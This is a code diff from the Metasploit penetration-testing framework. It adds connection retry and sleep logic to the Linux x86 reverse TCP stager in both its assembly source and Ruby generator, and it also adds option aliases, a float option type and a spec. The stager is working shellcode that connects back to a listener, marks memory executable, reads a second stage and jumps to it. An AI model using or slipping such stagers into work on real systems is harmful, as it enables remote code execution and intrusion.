diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm index e14a06a1d8..19d3aab641 100644 --- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm +++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm @@ -1,9 +1,9 @@ ;; -; +; ; Name: stager_sock_reverse ; Qualities: Can Have Nulls ; Version: $Revision: 1512 $ -; License: +; License: ; ; This file is part of the Metasploit Exploit Framework ; and is subject to the same licenses and copyrights as @@ -33,11 +33,13 @@ BITS 32 GLOBAL _start _start: + push 0x5 ; retry counter + pop esi + +create_socket: xor ebx, ebx mul ebx - -; int socket(int domain, int type, int protocol); -socket: + ; int socket(int domain, int type, int protocol); push ebx ; protocol = 0 = first that matches this type and domain, i.e. tcp inc ebx ; 1 = SYS_SOCKET push ebx ; type = 1 = SOCK_STREAM @@ -47,13 +49,15 @@ socket: int 0x80 xchg eax, edi -; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); -connect: - pop ebx +set_address: + pop ebx ; set ebx back to zero push dword 0x0100007f ; addr->sin_addr = 127.0.0.1 push 0xbfbf0002 ; addr->sin_port = 49087 ; addr->sin_family = 2 = AF_INET mov ecx, esp ; ecx = addr + +; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen); +try_connect: push byte 0x66 ; __NR_socketcall pop eax push eax ; addrlen @@ -62,6 +66,22 @@ connect: mov ecx, esp ; socketcall args inc ebx ; 3 = SYS_CONNECT int 0x80 + test eax, eax + jns mprotect + +handle_failure: + push 0xa2 + pop eax + push 0x0 ; sleep_nanoseconds + push 0x5 ; sleep_seconds + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep + test eax, eax + js failed + dec esi + jnz create_socket + jmp failed %ifndef USE_SINGLE_STAGE @@ -74,6 +94,8 @@ mprotect: shl ebx, 12 mov al, 0x7d ; __NR_mprotect int 0x80 + test eax, eax + js failed ; ssize_t read(int fd, void *buf, size_t count); recv: @@ -83,6 +105,13 @@ recv: mov dh, 0xc ; count = 0xc00 mov al, 0x3 ; __NR_read int 0x80 + test eax, eax + js failed jmp ecx +failed: + mov eax, 0x1 + mov ebx, 0x1 ; set exit status to 1 + int 0x80 ; sys_exit + %endif diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 0b7f5f54cc..ef36413434 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -14,10 +14,13 @@ class DataStore < Hash # def initialize() @options = Hash.new + @aliases = Hash.new @imported = Hash.new @imported_by = Hash.new end + attr_accessor :aliases + # # Clears the imported flag for the supplied key since it's being set # directly. @@ -133,11 +136,16 @@ class DataStore < Hash } end - def import_option(key, val, imported=true, imported_by=nil, option=nil) + def import_option(key, val, imported = true, imported_by = nil, option = nil) self.store(key, val) + if option + option.aliases.each do |a| + @aliases[a.downcase] = key.downcase + end + end @options[key] = option - @imported[key] = imported + @imported[key] = imported @imported_by[key] = imported_by end @@ -245,9 +253,15 @@ protected # def find_key_case(k) + # Scan each alias looking for a key + search_k = k.downcase + if @aliases.has_key?(search_k) + search_k = @aliases[search_k] + end + # Scan each key looking for a match self.each_key do |rk| - if (rk.downcase == k.downcase) + if rk.downcase == search_k return rk end end @@ -317,6 +331,7 @@ class ModuleDataStore < DataStore self.keys.each do |k| clone.import_option(k, self[k].kind_of?(String) ? self[k].dup : self[k], @imported[k], @imported_by[k]) end + clone.aliases = self.aliases clone end end diff --git a/lib/msf/core/handler/reverse_tcp.rb b/lib/msf/core/handler/reverse_tcp.rb index cffc92b7b3..d938d46934 100644 --- a/lib/msf/core/handler/reverse_tcp.rb +++ b/lib/msf/core/handler/reverse_tcp.rb @@ -45,10 +45,26 @@ module ReverseTcp # XXX: Not supported by all modules register_advanced_options( [ - OptInt.new('ReverseConnectRetries', [ true, 'The number of connection attempts to try before exiting the process', 5 ]), - OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']), - OptBool.new('ReverseListenerThreaded', [ true, 'Handle every connection in a new thread (experimental)', false]) - ], Msf::Handler::ReverseTcp) + OptInt.new( + 'StagerRetryCount', + [ true, 'The number of connection attempts to try before exiting the process', 10 ], + aliases: ['ReverseConnectRetries'] + ), + OptFloat.new( + 'StagerRetryWait', + [ false, 'Number of seconds to wait for the stager between reconnect attempts', 5.0 ] + ), + OptAddress.new( + 'ReverseListenerBindAddress', + [ false, 'The specific IP address to bind to on the local system' ] + ), + OptBool.new( + 'ReverseListenerThreaded', + [ true, 'Handle every connection in a new thread (experimental)', false ] + ) + ], + Msf::Handler::ReverseTcp + ) self.conn_threads = [] end @@ -88,13 +104,12 @@ module ReverseTcp # # @param addr [String] the address that # @return [String] A URI of the form +scheme://host:port/+ - def listener_uri(addr=datastore['ReverseListenerBindAddress']) + def listener_uri(addr = datastore['ReverseListenerBindAddress']) addr = datastore['LHOST'] if addr.nil? || addr.empty? uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr "tcp://#{uri_host}:#{bind_port}" end - # # Starts monitoring for an inbound connection. # @@ -118,8 +133,8 @@ module ReverseTcp rescue StandardError => e wlog [ "#{handler_name}: Exception raised during listener accept: #{e.class}", - "#{$ERROR_INFO}", - "#{$ERROR_POSITION.join("\n")}" + $ERROR_INFO.to_s, + $ERROR_POSITION.join("\n") ].join("\n") end end @@ -216,13 +231,11 @@ module ReverseTcp # Terminate the handler thread handler_thread.kill if handler_thread && handler_thread.alive? == true - if listener_sock - begin - listener_sock.close - rescue IOError - # Ignore if it's listening on a dead session - dlog("IOError closing listener sock; listening on dead session?", LEV_1) - end + begin + listener_sock.close if listener_sock + rescue IOError + # Ignore if it's listening on a dead session + dlog("IOError closing listener sock; listening on dead session?", LEV_1) end end diff --git a/lib/msf/core/opt_base.rb b/lib/msf/core/opt_base.rb index 0f48002aea..348a0eca33 100644 --- a/lib/msf/core/opt_base.rb +++ b/lib/msf/core/opt_base.rb @@ -22,7 +22,7 @@ module Msf # attrs[3] = possible enum values # attrs[4] = Regex to validate the option # - def initialize(in_name, attrs = []) + def initialize(in_name, attrs = [], aliases: []) self.name = in_name self.advanced = false self.evasion = false @@ -45,6 +45,7 @@ module Msf raise("Invalid Regex #{regex_temp}: #{e}") end end + self.aliases = aliases end # @@ -159,6 +160,10 @@ module Msf # A optional regex to validate the option value # attr_accessor :regex + # + # Aliases for this option for backward compatibility + # + attr_accessor :aliases protected diff --git a/lib/msf/core/opt_float.rb b/lib/msf/core/opt_float.rb new file mode 100644 index 0000000000..80f0935c7e --- /dev/null +++ b/lib/msf/core/opt_float.rb @@ -0,0 +1,24 @@ +# -*- coding: binary -*- + +module Msf + ### + # + # Float option. + # + ### + class OptFloat < OptBase + def type + 'float' + end + + def normalize(value) + Float(value) if value.present? && valid?(value) + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + Float(value) rescue return false if value.present? + super + end + end +end diff --git a/lib/msf/core/opt_int.rb b/lib/msf/core/opt_int.rb index 047c9ab05f..0c5191d04b 100644 --- a/lib/msf/core/opt_int.rb +++ b/lib/msf/core/opt_int.rb @@ -1,36 +1,28 @@ # -*- coding: binary -*- module Msf - -### -# -# Integer option. -# -### -class OptInt < OptBase - def type - return 'integer' - end - - def normalize(value) - if value.to_s.match(/^0x[a-fA-F\d]+$/) - value.to_i(16) - elsif value.present? - value.to_i - else - nil - end - end - - def valid?(value, check_empty: true) - return false if check_empty && empty_required_value?(value) - - if value.present? and not value.to_s.match(/^0x[0-9a-fA-F]+$|^-?\d+$/) - return false + ### + # + # Integer option. + # + ### + class OptInt < OptBase + def type + 'integer' end - return super + def normalize(value) + if value.to_s.match?(/^0x[a-fA-F\d]+$/) + value.to_i(16) + elsif value.present? + value.to_i + end + end + + def valid?(value, check_empty: true) + return false if check_empty && empty_required_value?(value) + return false if value.present? && !value.to_s.match?(/^0x[0-9a-fA-F]+$|^-?\d+$/) + super + end end end - -end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index 1c6e26a42b..da679724a4 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -12,6 +12,7 @@ module Msf autoload :OptBool, 'msf/core/opt_bool' autoload :OptEnum, 'msf/core/opt_enum' autoload :OptInt, 'msf/core/opt_int' + autoload :OptFloat, 'msf/core/opt_float' autoload :OptPath, 'msf/core/opt_path' autoload :OptPort, 'msf/core/opt_port' autoload :OptRaw, 'msf/core/opt_raw' @@ -35,6 +36,7 @@ module Msf # * {OptAddress} - IP address or hostname # * {OptPath} - Path name on disk or an Object ID # * {OptInt} - An integer value + # * {OptFloat} - A float value # * {OptEnum} - Select from a set of valid values # * {OptAddressRange} - A subnet or range of addresses # * {OptRegexp} - Valid Ruby regular expression diff --git a/lib/msf/core/payload/linux/reverse_tcp.rb b/lib/msf/core/payload/linux/reverse_tcp.rb index 07e8b9354c..768b830729 100644 --- a/lib/msf/core/payload/linux/reverse_tcp.rb +++ b/lib/msf/core/payload/linux/reverse_tcp.rb @@ -7,7 +7,6 @@ require 'msf/core/payload/linux/send_uuid' module Msf - ### # # Complex reverse TCP payload generation for Linux ARCH_X86 @@ -26,16 +25,15 @@ module Payload::Linux::ReverseTcp # def generate conf = { - port: datastore['LPORT'], - host: datastore['LHOST'], - retry_count: datastore['ReverseConnectRetries'], - reliable: false + port: datastore['LPORT'], + host: datastore['LHOST'], + retry_count: datastore['StagerRetryCount'], + sleep_seconds: datastore['StagerRetryWait'], } # Generate the advanced stager if we have space if self.available_space && required_space <= self.available_space conf[:exitfunk] = datastore['EXITFUNC'] - conf[:reliable] = true end generate_reverse_tcp(conf) @@ -81,16 +79,20 @@ module Payload::Linux::ReverseTcp # # @option opts [Integer] :port The port to connect to # @option opts [String] :host The host IP to connect to - # @option opts [Bool] :reliable Whether or not to enable error handling code # def asm_reverse_tcp(opts={}) # TODO: reliability is coming - retry_count = [opts[:retry_count].to_i, 1].max - reliable = opts[:reliable] - encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first + retry_count = opts[:retry_count] + encoded_port = "0x%.8x" % [opts[:port].to_i, 2].pack("vn").unpack("N").first encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first + seconds = (opts[:sleep_seconds] || 5.0) + sleep_seconds = seconds.to_i + sleep_nanoseconds = (seconds % 1 * 1000000000).to_i asm = %Q^ + push #{retry_count} ; retry counter + pop esi + create_socket: xor ebx, ebx mul ebx push ebx @@ -100,14 +102,15 @@ module Payload::Linux::ReverseTcp mov al, 0x66 mov ecx, esp int 0x80 ; sys_socketcall (socket()) - test eax, eax - js failed - xchg eax, edi ; store the socket in edi + + set_address: pop ebx ; set ebx back to zero push #{encoded_host} push #{encoded_port} mov ecx, esp + + try_connect: push 0x66 pop eax push eax @@ -117,12 +120,27 @@ module Payload::Linux::ReverseTcp inc ebx int 0x80 ; sys_socketcall (connect()) test eax, eax + jns mprotect + + handle_failure: + push 0xa2 + pop eax + push 0x#{sleep_nanoseconds.to_s(16)} + push 0x#{sleep_seconds.to_s(16)} + mov ebx, esp + xor ecx, ecx + int 0x80 ; sys_nanosleep + test eax, eax js failed + dec esi + jnz create_socket + jmp failed ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ + mprotect: mov dl, 0x7 mov ecx, 0x1000 mov ebx, esp @@ -133,6 +151,7 @@ module Payload::Linux::ReverseTcp test eax, eax js failed + recv: pop ebx mov ecx, esp cdq @@ -142,6 +161,7 @@ module Payload::Linux::ReverseTcp test eax, eax js failed jmp ecx + failed: mov eax, 0x1 mov ebx, 0x1 ; set exit status to 1 diff --git a/lib/msf/core/payload/multi/reverse_http.rb b/lib/msf/core/payload/multi/reverse_http.rb index 9c5af06037..008f99f5a0 100644 --- a/lib/msf/core/payload/multi/reverse_http.rb +++ b/lib/msf/core/payload/multi/reverse_http.rb @@ -24,7 +24,8 @@ module Payload::Multi::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), OptString.new('PayloadProxyUser', [false, 'An optional proxy server username']), diff --git a/lib/msf/core/payload/python/reverse_tcp.rb b/lib/msf/core/payload/python/reverse_tcp.rb index c40f46ad28..8369602654 100644 --- a/lib/msf/core/payload/python/reverse_tcp.rb +++ b/lib/msf/core/payload/python/reverse_tcp.rb @@ -19,7 +19,8 @@ module Payload::Python::ReverseTcp def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) ], self.class) end diff --git a/lib/msf/core/payload/python/reverse_tcp_ssl.rb b/lib/msf/core/payload/python/reverse_tcp_ssl.rb index fa557b420f..ee65afe0ab 100644 --- a/lib/msf/core/payload/python/reverse_tcp_ssl.rb +++ b/lib/msf/core/payload/python/reverse_tcp_ssl.rb @@ -18,7 +18,8 @@ module Payload::Python::ReverseTcpSsl def initialize(*args) super register_advanced_options([ - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]) ], self.class) end diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index b4c6a62b91..1c9b79b562 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -359,14 +360,14 @@ module Payload::Windows::ReverseHttp push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp test eax,eax - jnz allocate_memory - + jnz allocate_memory + set_wait: push #{retry_wait} ; dwMilliseconds push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^ try_it_again: diff --git a/lib/msf/core/payload/windows/x64/reverse_http.rb b/lib/msf/core/payload/windows/x64/reverse_http.rb index 004db9324c..a9048731b4 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http.rb @@ -29,7 +29,8 @@ module Payload::Windows::ReverseHttp_x64 super register_advanced_options([ OptInt.new('StagerURILength', [false, 'The URI length for the stager (at least 5 bytes)']), - OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails (zero to infinite retries)', 10]), + OptInt.new('StagerRetryCount', [false, 'The number of times the stager should retry if the first connect fails', 10], + aliases: ['ReverseConnectRetries']), OptInt.new('StagerRetryWait', [false, 'Number of seconds to wait for the stager between reconnect attempts', 5]), OptString.new('PayloadProxyHost', [false, 'An optional proxy server IP address or hostname']), OptPort.new('PayloadProxyPort', [false, 'An optional proxy server port']), @@ -366,13 +367,13 @@ module Payload::Windows::ReverseHttp_x64 call rbp test eax, eax jnz allocate_memory - + set_wait: mov rcx, #{retry_wait} ; dwMilliseconds mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')} call rbp ; Sleep( dwMilliseconds ); ^ - + if retry_count > 0 asm << %Q^ diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp.rb b/modules/payloads/stagers/linux/x86/reverse_tcp.rb index 9f70a69d4d..12035abbc0 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 99 + CachedSize = 123 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb index 2d87373671..48140788d9 100644 --- a/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb +++ b/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb @@ -8,7 +8,7 @@ require 'msf/core/payload/linux/reverse_tcp' module MetasploitModule - CachedSize = 142 + CachedSize = 166 include Msf::Payload::Stager include Msf::Payload::Linux::ReverseTcp diff --git a/spec/lib/msf/core/opt_float_spec.rb b/spec/lib/msf/core/opt_float_spec.rb new file mode 100644 index 0000000000..76d323614a --- /dev/null +++ b/spec/lib/msf/core/opt_float_spec.rb @@ -0,0 +1,25 @@ +# -*- coding:binary -*- + +require 'spec_helper' +require 'msf/core/option_container' + +RSpec.describe Msf::OptFloat do + valid_values = [ + { :value => "1", :normalized => 1.0 }, + { :value => "1.1", :normalized => 1.1 }, + { :value => "0", :normalized => 0.0 }, + { :value => "-1", :normalized => -1.0 }, + { :value => "01", :normalized => 1.0 }, + { :value => "0xff", :normalized => 255.0 }, + ] + invalid_values = [ + { :value => "0xblah", }, + { :value => "-12cat", }, + { :value => "covfefe", }, + { :value => "NaN", }, + ] + + it_behaves_like "an option", valid_values, invalid_values, 'float' +end + +